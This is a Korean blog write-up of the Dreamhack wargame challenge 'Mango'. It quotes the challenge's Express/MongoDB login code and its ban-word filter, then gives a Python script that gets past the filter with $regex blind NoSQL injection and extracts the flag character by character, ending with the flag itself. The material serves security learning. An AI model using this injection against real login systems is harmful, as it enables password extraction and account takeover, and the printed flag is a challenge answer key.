Web/Wargame

[Dreamhack] Mango

와븨 2022. 10. 1. 20:00

 

 

[문제 파일]

const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}
  • 배열 BAN에 있는 문자열을 필터링한다. (admin을 쳤을 때 플래그가 바로 뜨지 않도록 한 코드)
app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});
  • 로그인 페이지가 요청되는 실행되는 코드
  • 쿼리를 요청하고 필터링
  • 이용자가 전송한 id랑 패스워드를 가져옴
  • 데이터베이스에서 아이디와 패스워드를 검색 후 있으면 유저 아이디를 출력하고 없으면 undefined 출력
  • 로그인에 성공 시 아이디 출력, 블라인드 sql 활용해서 비밀번호 확인

[풀이]

 

플래그를 찾기 위한 코드를 작성한다. (플래그가 32자리임을 알고 있으므로 for문을 사용해 작성)

  • 3 : HOST 변수에 공격할 페이지를 지정
  • 7~13 : 플래그가 총 32자리이므로 플래그가 다 출력될 때까지 for문을 돌림
  • 9 : 아이디가 ad로 시작하고 패스워드가 D(플래그는 DH{...} 형태)로 시작하는 데이터를 조회하여 response 변수에 저장
  • 13 : flag 출력

 

위 코드를 실행하면

플래그가 차례로 출력되는 것을 볼 수 있다.

 

 

 

+) for문 대신 while문 사용하여 코드 작성 (플래그가 몇자리인지 모를 때 사용)

import requests
import string

url = 'http://host3.dreamhack.games:24007/login'
flag_set = string.digits + string.ascii_letters + '}'
flag = ''

while True:
    for ch in flag_set:
        response = requests.get(url + "?uid[$regex]=ad.in&upw[$regex]=D.{" + flag + ch)
        if response.text == 'admin':
            flag += ch
            break
    print(flag)
    
    if '}' in flag :
        break

print('DH{'+flag)

 

실행결과

 

답 : DH{89e50fa6fafe2604e33c0ba05843d3df}